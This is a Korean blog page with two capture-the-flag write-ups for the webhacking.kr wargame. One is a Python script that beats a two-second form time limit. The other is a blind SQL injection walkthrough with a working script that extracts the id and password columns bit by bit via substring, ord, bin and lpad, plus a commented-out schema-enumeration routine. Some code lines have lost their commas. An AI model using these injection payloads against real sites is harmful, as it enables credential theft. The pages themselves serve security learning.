'sqli template'에 해당되는 글 2건

  1. 2018.01.19 [webhacking.kr] prob20(200pt)
  2. 2018.01.13 [webhacking.kr] prob21(250pt)
2018. 1. 19. 16:04

## prob20(web, 200pt)


[Main]

 20번 문제는 javascript 문제였습니다. 우선 문제페이지를 보도록 하겠습니다.


[그림 1] 문제 페이지


 우선 do not programming이라고 적혀있습니다. 무슨 말인지 모르겠어서 바로 html 소스코드와 프록시 도구를 이용하여 아래 [그림 2]처럼 이 페이지를 살펴보았습니다.


[그림 2] 페이지 코드 및 프록시


 이제 코드를 살짝 보면 Submit버튼을 클릭하면 ck()함수를 실행하며 빨간 네모의 "hack"이라는 name을 가진 text박스와 "attackme"라는 name을 가진 button태그의 value와 비교하여 같은지 확인을 합니다. 여기서 "attackme" 박스의 value를 "hack" 텍스트 박스에 넣고 submit해야할 것이라는 감을 잡을 수 있었습니다. 그런데 같은 값을 넣고 submit을 하면 "Wrong"이라는 문자열이 뜹니다.


 그 이유는 위 [그림 2]의 빨간 박스 중 time limit : 2라는 것에서 왜 그런지 대충 감을 잡을 수 있었습니다. 아마 2초안에 같은 값을 넣고 submit을 해야하나봅니다. 그래서 저는 절대 2초안에 nickname과 comment와 code를 입력하고 submit버튼까지 누를수 없을 것 같아서 python의 requests 모듈을 활용하여 위 [그림 2]에서 프록시로 잡은 parameter를 토대로 코드를 짰습니다. 이 때 한 가지 주의할 점은 POST방식이고, Cookie에 st와 PHPSESSID값이 존재하는데, st는 2초 이내인지 아닌지 판단하는 값이므로 꼭 같이 헤더에 넣어서 보내주어야 합니다.


 아마 위에서 "do not programming!"이라는 것은 이런 풀이 방식을 생각하고 출제자가 쓴 글인가 봅니다. 우선 제 풀이법대로의 파이썬 코드는 아래와 같습니다.


[Exploit Code] - prob20.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
 
url = "http://webhacking.kr/challenge/codeing/code4.html"
header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',}
 
if __name__ == "__main__":
    ## Stage 1 : get "hack" parameter, get "st" cookie
    stage1_req = requests.post(url = url, headers=header)
    stage1_res = stage1_req.text
    st_cookie = stage1_req.cookies['st']
 
    header = {'Cookie':'st='+st_cookie+';PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',}
    if "attackme" in stage1_res:
        hack = stage1_res[stage1_res.find("name=attackme value=")+21:]
        hack = hack[:hack.find("\"")]
        params = {'id':'holinder4s''cmt':'hello''hack':hack}
        stage2_req = requests.post(url = url, data = params, headers=header)
        stage2_res = stage2_req.text
        print stage2_res
    else:
        print "[-] Error Occur!"
        exit(-1)
 
# ref1) https://www.geeksforgeeks.org/get-post-requests-using-python/
 
cs


 위 코드를 돌리면 아래 [그림 3]과 같이 축하한다면서 문제를 풀었다는 response를 받을 수 있습니다.



[그림 3] Congratulation!


 이 풀이 방법 말고 다른 풀이 방법을 한 번 찾아보았습니다. 사실 수동으로 2초 내에 조금 빠르게 할 수 있는 방법이 존재합니다. 바로 크롬 개발자 도구에서 Console 탭을 이용해 lv5frm.id.value, lv5frm.cmt.value, lv5frm.hack.value를 채워주고 ck()함수를 호출해 주는 방식입니다.


 이 문제는 python코드로 post request보내는 template로 활용하면 될 것 같습니다.

'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob46(300pt)  (0) 2018.01.26
[webhacking.kr] prob25(150pt)  (0) 2018.01.26
[webhacking.kr] prob8(350pt)  (0) 2018.01.18
[webhacking.kr] prob21(250pt)  (0) 2018.01.13
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
Posted by holinder4S
2018. 1. 13. 14:50

## prob21(web, 250pt)


[Main]

 21번 문제는 Blind SQLi 문제였습니다. 우선 문제를 보면 아래와 같이 인풋 박스에 숫자를 입력하고 제출 버튼을 누르면 get 방식으로 no파라미터에 값을 넣고 쿼리를 실행하는 페이지를 볼 수 있습니다.


[그림 1] 문제 페이지


 위 [그림 1]에서는 입력 창에 1, 2, 3을 각각 입력하고 제출 버튼을 클릭한 결과입니다. 1과 2는 True라는 결과가 나오는데 3은 False라는 결과가 나옵니다. 우선 문제 제목부터 blind sql injection이라고 하니 "1 and 1=1#"과 "1 and 1=2#"이라는 쿼리를 날려보았습니다. 예상했던대로 앞의 쿼리는 "True"라는 결과를 뒤의 쿼리는 "False"라는 결과를 뱉어냈습니다.


 우선 저는 여기서 Get 방식의 바라미터 중에 no말고 id와 pw라는 파라미터가 왜 있는지 생각해보았고, 그 결과 DB에 컬럼 명을 힌트로 준 것이라고 생각했습니다. 그래서 id값과 pw을 알기 위해 MYSQL의 내장 함수인 substring(), ord(), bin(), lpad()함수와 if문을 사용하였는데 우선 쿼리를 짠 원리를 간단하게 설명드리겠습니다.


 만약 id컬럼에 "admin"이라는 값이 있다고 했을 때 substring(id, 1, 1)로 한글자 "a"를 떼어냅니다. 그리고 이 결과에 ord()함수를 사용하여 ord(substring(id, 1, 1))이라는 쿼리를 만들어 "a"를 숫자 97로 만들어 냅니다. 이 결과에는 bin()함수를 이용하여 bin(ord(substring(id, 1, 1)))이라는 쿼리를 만들어 97이라는 숫자를 "1100001"으로 변환시킵니다. 이 결과에 또 lpad()함수를 이용하여 lpad(bin(ord(substring(id, 1, 1))), 8, 0)이라는 쿼리를 만들어 "1100001"이라는 2진수를 8자리의 2진수로 만들기 위해 8자리 길이에 맞춰서 왼쪽부터 0으로 채워넣습니다. 그러면 "01100001"이라는 결과가 나오고 이제 이 2진수를 substring()함수를 이용하여 다시 1글자씩 떼어내는데 "substring(lpad(bin(ord(substring(id, 1, 1))), 8, 0), 1, 1)"이라는 쿼리를 만들어 "01100001"에서 한 글자 "0"을 떼어냅니다. 그리고 if문을 이용하여 "if(substring(lpad(bin(ord(substring(id, 1, 1))), 8, 0), 1, 1)=0, 1, 0)"이라는 쿼리를 최종적으로 만들어내서 "0"이면 1을 리턴하고 "1"이면 0을 리턴하는 식으로 True, False를 판단하게 됩니다.


 위 방식을 이용하면 최종적으로 "admin"이라는 글자를 알아내기 위하여 "a", "d", "m", "i", "n"이라는 글자 하나하나마다 2진수 8자리로 변환하여 1비트씩 비교하여 값을 얻어낼 수 있습니다. 이렇게 귀찮은 짓을 하는 이유는 이 방식을 사용하지 않으면 한 글자 한 글자마다 아스키 값으로 하나하나 비교하여야 하는데 이는 시간이 너무 오래 걸리고, 범위를 반토막 내서 찾는 2진 탐색기법을 하면 조금 더 빠르지만 문자열의 범위가 "0-9a-zA-Z"와 특수문자까지 포함하면 위 방식보다 시간이 더 오래 걸리기 때문에 저는 위 방식을 사용합니다.


 이렇게 코드를 짜고 나서 id와 pw를 찾으면 no=1일 때는 guest계정, no=2일 때는 admin계정이 나오는데 admin계정의 pw가 이 문제의 플래그였습니다.


[Exploit Code]  - blindsql_prob21.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests
 
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',}
#params = {'no':'1', 'id':'', 'pw':''}
 
key_id = ""
key_pw = ""
 
def getLength(field):
    for i in xrange(50):
        payload = "1 and length(" + field + ")="+str(i)+"#"
        params = {'no':payload, 'id':'''pw':''}
        req = requests.get(url = url, params = params, headers = header)
        res = req.text
        if "True" in res:
            print "[+] " + field + " length : " + str(i)
            break
 
def getContent(field):
    #length = int(raw_input("Input " + field + " length : "))
    content = ""
    for i in xrange(50):
    #for i in xrange(length):
        binary = ""
        for j in xrange(8):
            payload = "2 and if(substring(lpad(bin(ord(substring("+field+","+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0,1,0)"
            params = {'no':payload, 'id':'''pw':''}
            req = requests.get(url = url, params = params, headers = header)
            res = req.text
            if "True" in res:
                binary += '0'
            else:
                binary += '1'
        content += chr(int(binary, 2))
        if int(binary, 2== 0:
            print "[*] Blind SQLi Search End."
            print "[*] " + field + " : " + content[:-1" => found!"
            break
        print "[+] Content Finding : " + content
 
'''
def getTableName():
    content = ""
    for i in xrange(50):
        for j in xrange(50):
            binary = ""
            for k in xrange(8): 
                payload = "2 and if((select substring(lpad(bin(ord(substring(table_name,"+str(j+1)+",1))),8,0),"+str(k+1)+",1) from information_schema.tables limit "+str(i+1)+",1)=0,1,0)"
                params = {'no':payload, 'id':'', 'pw':''}
                req = requests.get(url = url, params = params, headers = header)
                res = req.text
                if "True" in res:
                    binary += '0'
                else:
                    binary += '1'
            content += chr(int(binary, 2))
            if int(binary, 2) == 0:
                print "[*] Blind SQLi Search End."
                print "[*] " + field + " : " + content[:-1]
                print "[*] " + field + " found!"
            print "[+] Table Finding : " + content
'''
 
if __name__ == '__main__':        
    #getLength("id")     # id length finding
    #getLength("pw")     # pw length finding
    getContent("id")    # id content finding
    getContent("pw")    # pw content finding
    #getTableName()
 
# ref1) https://www.geeksforgeeks.org/get-post-requests-using-python/
# ref2) https://dev.mysql.com/doc/refman/5.7/en/string-functions.html
# ref3) http://choiys.tistory.com/entry/Wargamekr-Web700ip-log-table?category=684299
 
cs



'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob20(200pt)  (0) 2018.01.19
[webhacking.kr] prob8(350pt)  (0) 2018.01.18
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
[webhacking.kr] prob17(100pt)  (0) 2018.01.12
[webhacking.kr] prob10(250pt)  (0) 2018.01.12
Posted by holinder4S